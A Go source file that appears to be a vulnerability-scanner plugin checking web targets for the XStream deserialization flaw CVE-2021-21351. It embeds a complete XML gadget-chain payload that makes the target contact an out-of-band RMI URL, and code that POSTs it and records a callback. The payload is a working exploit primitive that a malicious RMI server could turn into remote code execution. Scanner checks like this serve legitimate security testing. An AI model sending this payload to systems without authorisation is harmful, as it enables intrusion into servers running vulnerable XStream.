/**
2 * @Author: shaochuyu
3 * @Date: 3/23/24
4 */

package xstream

import (
	"bytes"
	"context"
	"strings"
	"wscan/core/http"
	"wscan/core/model"
	"wscan/core/plugins/base"
	"wscan/core/reverse"
	logger "wscan/core/utils/log"
)

type CVE_2021_21351 struct {
}

func (p *CVE_2021_21351) Finger() *base.Finger {
	return &base.Finger{
		CheckAction: func(ctx context.Context, ab *base.Apollo) error {
			flow := ab.GetTargetFlow()
			logger.Infof("开始检测xstream/CVE-2021-21351, %s", flow.Request.URL())
			payload := `<sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
              <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                  <m__size>-10086</m__size>
                  <m__mgrDefault>
                    <__overrideDefaultParser>false</__overrideDefaultParser>
                    <m__incremental>false</m__incremental>
                    <m__source__location>false</m__source__location>
                    <m__dtms>
                      <null/>
                    </m__dtms>
                    <m__defaultHandler/>
                  </m__mgrDefault>
                  <m__shouldStripWS>false</m__shouldStripWS>
                  <m__indexing>false</m__indexing>
                  <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                    <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                      <javax.sql.rowset.BaseRowSet>
                        <default>
                          <concurrency>1008</concurrency>
                          <escapeProcessing>true</escapeProcessing>
                          <fetchDir>1000</fetchDir>
                          <fetchSize>0</fetchSize>
                          <isolation>2</isolation>
                          <maxFieldSize>0</maxFieldSize>
                          <maxRows>0</maxRows>
                          <queryTimeout>0</queryTimeout>
                          <readOnly>true</readOnly>
                          <rowSetType>1004</rowSetType>
                          <showDeleted>false</showDeleted>
                          <dataSource>{{reverse-rmi-url}}</dataSource>
                          <listeners/>
                          <params/>
                        </default>
                      </javax.sql.rowset.BaseRowSet>
                      <com.sun.rowset.JdbcRowSetImpl>
                        <default/>
                      </com.sun.rowset.JdbcRowSetImpl>
                    </fPullParserConfig>
                    <fConfigSetInput>
                      <class>com.sun.rowset.JdbcRowSetImpl</class>
                      <name>setAutoCommit</name>
                      <parameter-types>
                        <class>boolean</class>
                      </parameter-types>
                    </fConfigSetInput>
                    <fConfigParse reference='../fConfigSetInput'/>
                    <fParseInProgress>false</fParseInProgress>
                  </m__incrementalSAXSource>
                  <m__walker>
                    <nextIsRaw>false</nextIsRaw>
                  </m__walker>
                  <m__endDocumentOccured>false</m__endDocumentOccured>
                  <m__idAttributes/>
                  <m__textPendingStart>-1</m__textPendingStart>
                  <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
                  <m__pastFirstElement>false</m__pastFirstElement>
                </m__dtm>
                <m__dtmIdentity>1</m__dtmIdentity>
              </m__DTMXRTreeFrag>
              <m__dtmRoot>1</m__dtmRoot>
              <m__allowRelease>false</m__allowRelease>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
              <m__obj class='string'>test</m__obj>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
        </sorted-set>`

			unit := ab.Reverse.Register(nil)
			payload = strings.Replace(payload, "{{reverse-rmi-url}}", unit.GetRmiURL(), -1)
			req, _ := http.NewRequest("POST",
				flow.Request.URL().JoinPath("/").String(),
				nil)
			req.WithXMLBody(bytes.NewReader([]byte(payload)))
			res, err := ab.HTTPClient.Respond(context.TODO(), req)
			if err != nil {
				return nil
			}
			unit.OnVisit(func(event *reverse.Event) error {
				v := ab.NewWebVuln(req, res, nil)
				if v != nil {
					v.SetTargetURL(flow.Request.URL())
					v.Payload = payload
					ab.OutputVuln(v)
				}
				return nil
			})
			unit.Fetch(0)
			return nil
		},
		Channel: "web-generic",
		Binding: &model.VulnBinding{ID: "xstream/CVE-2021-21351",
			Plugin:   "xstream/CVE-2021-21351",
			Category: "xstream/CVE-2021-21351"},
		NeedReverse: true,
	}
}
